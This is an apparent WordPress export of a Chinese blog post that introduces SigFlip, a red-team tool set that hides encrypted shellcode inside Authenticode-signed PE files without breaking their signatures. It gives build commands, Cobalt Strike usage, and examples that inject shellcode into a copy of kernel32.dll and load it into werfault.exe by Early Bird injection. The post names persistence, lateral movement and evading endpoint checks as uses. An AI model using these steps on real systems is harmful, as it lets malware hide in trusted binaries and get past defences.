{"id":227816,"date":"2021-10-14T08:47:12","date_gmt":"2021-10-14T00:47:12","guid":{"rendered":"https:\/\/lrxjmw.cn\/?p=227816"},"modified":"2021-09-30T09:49:46","modified_gmt":"2021-09-30T01:49:46","slug":"sigflip-pe-shellcode","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/sigflip-pe-shellcode.html","title":{"rendered":"SigFlip\u5982\u4f55\u7be1\u6539\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u7684PE\u6587\u4ef6"},"content":{"rendered":"\n\n\n
\u5bfc\u8bfb<\/td>\nSigFlip\u662f\u4e00\u6b3e\u80fd\u591f\u7be1\u6539\u7ecf\u8fc7\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u7684PE\u6587\u4ef6\uff08exe\u3001dll\u3001sys\u7b49\uff09\u7684\u5de5\u5177\uff0c\u800c\u4e14\u6574\u4e2a\u8fc7\u7a0b\u4e0d\u4f1a\u5f71\u54cd\u6216\u7834\u574f\u5df2\u6709\u7684\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u3002<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\"\"<\/p>\n

\u5173\u4e8eSigFlip<\/strong><\/div>\n

SigFlip\u662f\u4e00\u6b3e\u80fd\u591f\u7be1\u6539\u7ecf\u8fc7\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u7684PE\u6587\u4ef6(exe\u3001dll\u3001sys\u7b49)\u7684\u5de5\u5177\uff0c\u800c\u4e14\u6574\u4e2a\u8fc7\u7a0b\u4e0d\u4f1a\u5f71\u54cd\u6216\u7834\u574f\u5df2\u6709\u7684\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u3002\u6362\u53e5\u8bdd\u6765\u8bf4\uff0c\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528SigFlip\u5411PE\u6587\u4ef6\u4e2d\u5d4c\u5165\u6570\u636e(\u6bd4\u5982Shellcode)\uff0c\u5e76\u4e14\u518d\u4e0d\u4f1a\u7834\u574f\u6587\u4ef6\u7b7e\u540d\u3001\u5b8c\u6574\u6027\u68c0\u67e5\u6216PE\u6587\u4ef6\u529f\u80fd\u7684\u60c5\u51b5\u4e0b\uff0c\u4fee\u6539PE\u6587\u4ef6\u7684\u6821\u9a8c\u548c\u6216\u54c8\u5e0c\u3002<\/p>\n

SigInject\u7ec4\u4ef6\u53ef\u4ee5\u5c06Shellcode\u6ce8\u5165\u81f3PE\u6587\u4ef6\u7684[WIN_CERTIFICATE]\u8bc1\u4e66\u8868\u4e2d\uff0c\u5e76\u8f93\u51fa\u52a0\u5bc6\u5bc6\u94a5\u4ee5\u4fbf\u914d\u5408BOF\/C\/C#\u52a0\u8f7d\u5668(SigLoader)\u4e00\u8d77\u4f7f\u7528\u3002SigInject\u5c06\u4fdd\u5b58\u9488\u5bf9PE\u6587\u4ef6\u7684\u4fee\u6539\u64cd\u4f5c\uff0c\u5e76\u4fdd\u8bc1\u5176\u7b7e\u540d\u548c\u8bc1\u4e66\u6709\u6548\u6027\u4e0d\u53d8\u3002<\/p>\n

SigLoader\u662f\u4e00\u4e2a\u57fa\u7840\u52a0\u8f7d\u5668\uff0c\u5b83\u91c7\u7528SigInject\u521b\u5efa\u7684\u4fee\u6539\u540e\u7684PE\u6587\u4ef6\u8def\u5f84\u548c\u89e3\u5bc6\u5bc6\u94a5\u4f5c\u4e3a\u53c2\u6570\uff0c\u7136\u540e\u63d0\u53d6\u548c\u89e3\u5bc6\u5d4c\u5165\u7684Shellcode\uff0c\u4ee5\u4f9b\u9009\u62e9Shellcode\u6ce8\u5165\u4f7f\u7528\u3002<\/p>\n

SigFlip\u5c06\u68c0\u67e5PE\u54c8\u5e0c\u662f\u5426\u5df2\u6210\u529f\u66f4\u6539\uff0c\u7136\u540e\u9000\u51fa\u4ee5\u7ed5\u8fc7\u7ec8\u7aef\u9488\u5bf9\u6b64\u7c7b\u884c\u4e3a\u7684\u68c0\u67e5\u3002<\/p>\n

SigFlip\u53ef\u4ee5\u7528\u4e8e\u6301\u4e45\u5316\u611f\u67d3\u3001\u6a2a\u5411\u6e17\u900f\u4ee5\u53ca\u547d\u4ee4\/\u4ee3\u7801\u6267\u884c\u7b49\u573a\u666f\u3002<\/p>\n

\u6ce8\u610f\u4e8b\u9879\uff1aigFlip\u3001SigInject\u548cSigLoader\u5c06\u4ee5BOF\u811a\u672c\u548c.NET\u7a0b\u5e8f\u96c6\u63d0\u4f9b\u3002<\/p>\n

\u5de5\u5177\u5b89\u88c5<\/strong><\/div>\n

\u5e7f\u5927\u7814\u7a76\u4eba\u5458\u53ef\u4ee5\u4f7f\u7528\u4e0b\u5217\u547d\u4ee4\u5c06\u8be5\u9879\u76ee\u6e90\u7801\u514b\u9686\u81f3\u672c\u5730\uff1a<\/p>\n

\r\ngit clone https:\/\/github.com\/med0x2e\/SigFlip.git <\/pre>\n
\u5de5\u5177\u6784\u5efa\/\u7f16\u8bd1<\/strong><\/div>\n

\u672c\u9879\u76ee\u5e76\u6ca1\u6709\u63d0\u4f9b\u9884\u7f16\u8bd1\u7684BOF\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528Mingw-w64\u6765\u8fdb\u884c\u7f16\u8bd1\u3002\u5982\u679c\u662f.NET\uff0c\u53ef\u4ee5\u4f7f\u7528VS\u6216csc.exe\u6765\u7f16\u8bd1.NET\u9879\u76ee(SigFlip\u3001SigLoader);\u5982\u679c\u662fBOF\uff0c\u8bf7\u6309\u7167\u4e0b\u5217\u6b65\u9aa4\u64cd\u4f5c\uff1a<\/p>\n

\r\n\u279c i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o \r\n \r\n\u279c x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o \r\n \r\n\u279c x86_64-w64-mingw32-gcc -c SigLoader\/sigloader.c -o sigloader.x64.o \r\n \r\n\u279c i686-w64-mingw32-gcc -c SigLoader\/sigloader.c -o sigloader.x86.o <\/pre>\n

\u786e\u4fdd\u6240\u6709\u7684\u5bf9\u8c61\u6587\u4ef6\u90fd\u5b58\u50a8\u5728sigflip.cna\u7684\u76f8\u540c\u76ee\u5f55\u4e0b\uff0c\u7136\u540e\u5728Cobalt Strike\u4e2d\u52a0\u8f7dsigflip.cna\u3002<\/p>\n

\u6ce8\u610f\u4e8b\u9879\uff1a\u9884\u7f16\u8bd1\u7684BOF\u4f7f\u7528\u7684\u662fmingw-64 v8.0.0_3\uff0c\u5982\u679c\u4f60\u6240\u4f7f\u7528\u7684mingw-64 >= v9\uff0c\u53ef\u80fd\u4f1a\u51fa\u73b0\u5d29\u6e83\u7684\u60c5\u51b5\u3002<\/p>\n

Cobalt Strike<\/strong><\/div>\n

\u6267\u884c\u7a0b\u5e8f\u96c6\uff1a<\/p>\n

\r\nexecute-assembly SigFlip.exe -h \r\n \r\nexecute-assembly SigLoader -h <\/pre>\n

BOF\uff1a<\/p>\n

\u5f53\u6211\u4eec\u5728Cobalt Strike\u4e2d\u52a0\u8f7dsigflip.cna\u4e86\u4e4b\u540e\uff0c\u5c06\u4f1a\u6ce8\u518c\u4e24\u4e2a\u65b0\u547d\u4ee4\uff0c\u6211\u4eec\u6b64\u65f6\u5c31\u80fd\u591f\u4ee5\u4e0b\u5217\u65b9\u5f0f\u4f7f\u7528SigFlip\u548cSigInject\u4e86\u3002<\/p>\n

    \n
  • SigFlip\uff1a\u5728\u4e0d\u7834\u574f\u7b7e\u540d\u6216\u8bc1\u4e66\u6709\u6548\u6027\u7684\u60c5\u51b5\u4e0b\uff0c\u4fee\u6539PE\u6587\u4ef6\u54c8\u5e0c\uff1a\n
    SigFlip \"\" \"\" <\/pre>\n<\/li>\n
  • SigInject\uff1a\u5411PE\u6587\u4ef6\u7684[WIN_CERTIFICATE]\u8bc1\u4e66\u8868\u4e2d\u6ce8\u5165\u52a0\u5bc6\u7684Shellcode\uff0c\u6253\u5370\u7684\u52a0\u5bc6\u5bc6\u94a5\u53ef\u4ee5\u8ddf\u57fa\u7840C\/C#\u52a0\u8f7d\u5668\u7ed3\u5408\u4f7f\u7528\u4ee5\u4fdd\u8bc1\u7b7e\u540d\u548c\u8bc1\u4e66\u7684\u5b8c\u6574\u6027\uff1a\n
    SigInject \" \" \"\" <\/pre>\n<\/li>\n
  • SigLoader\uff1a\u4ecePE\u6587\u4ef6\u4e2d\u52a0\u8f7d\u7531SigInject\u52a0\u5bc6\u7684Shellcode\uff0c\u7136\u540e\u4f7f\u7528Early Bird\u5411\u6307\u5b9a\u8fdb\u7a0b\u6ce8\u5165Shellcode\uff0c\u6211\u4eec\u53ef\u4ee5\u81ea\u5b9a\u4e49Shellcode\u7684\u6ce8\u5165\u903b\u8f91\uff0c\u6216\u76f4\u63a5\u66ff\u6362\u76ee\u6807\u4ee3\u7801\uff1a\n
    SigLoader     <\/parent_process_id><\/spawnto_process_path><\/decryption_key><\/pe_file_path_with_sh><\/pre>\n<\/li>\n<\/ul>\n
    \u5de5\u5177\u4f7f\u7528\u6837\u4f8b<\/strong><\/div>\n

    (1) BOF<\/p>\n

    \u5411msbuild.exe\u6ce8\u5165\u968f\u673a\u6570\u636e\uff1a<\/p>\n

    \r\nSigFlip \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe\" \"C:\\lolbins\\modified-msbuild.exe\" <\/pre>\n

    \u5411kernel32.ell\u6ce8\u5165Shellcode\uff1a<\/p>\n

    \r\nSigInject \"C:\\Windows\\System32\\kernel32.dll\" \"C:\\random\\modified-kernel32.dll\" \"C:\\shellcode\\cobaltstrike_or_msf_shellcode.bin\" \r\n \r\nSigloader \"C:\\random\\modified-kernel32.dll\" \"DECRYPTION_KEY\" \"C:\\Windows\\System32\\werfault.exe\" 6300 <\/pre>\n

    (2) \u6267\u884c\u7a0b\u5e8f\u96c6<\/p>\n

    \u5411msbuild.exe\u6ce8\u5165\u968f\u673a\u6570\u636e\uff1a<\/p>\n

    \r\nexecute-assembly SigFlip.exe -b C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe -o C:\\Temp\\MSBuild.exe <\/pre>\n

    \u5411kernel32.ell\u6ce8\u5165Shellcode\uff1a<\/p>\n

    \r\nexecute-assembly SigFlip.exe -i C:\\Windows\\System32\\kernel32.dll -s C:\\Temp\\x86shellcode.bin -o C:\\Temp\\kernel32.dll -e TestSecretKey \r\n \r\nexecute-assembly SigLoader.exe -f C:\\Temp\\modified-kernel32.dll -e TestSecretKey -pid 2354 <\/pre>\n","protected":false},"excerpt":{"rendered":"

    SigFlip\u662f\u4e00\u6b3e\u80fd\u591f\u7be1\u6539\u7ecf\u8fc7\u8eab\u4efd\u8ba4\u8bc1\u7801\u7b7e\u540d\u7684PE\u6587\u4ef6(exe\u3001dll\u3001sys\u7b49)\u7684\u5de5\u5177\uff0c\u800c\u4e14\u6574\u4e2a\u8fc7\u7a0b\u4e0d\u4f1a\u5f71 […]<\/p>\n","protected":false},"author":1482,"featured_media":227818,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[55],"tags":[],"class_list":["post-227816","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-thread"],"acf":[],"_links":{"self":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/227816","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/users\/1482"}],"replies":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/comments?post=227816"}],"version-history":[{"count":2,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/227816\/revisions"}],"predecessor-version":[{"id":227821,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/227816\/revisions\/227821"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media\/227818"}],"wp:attachment":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media?parent=227816"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/categories?post=227816"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/tags?post=227816"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}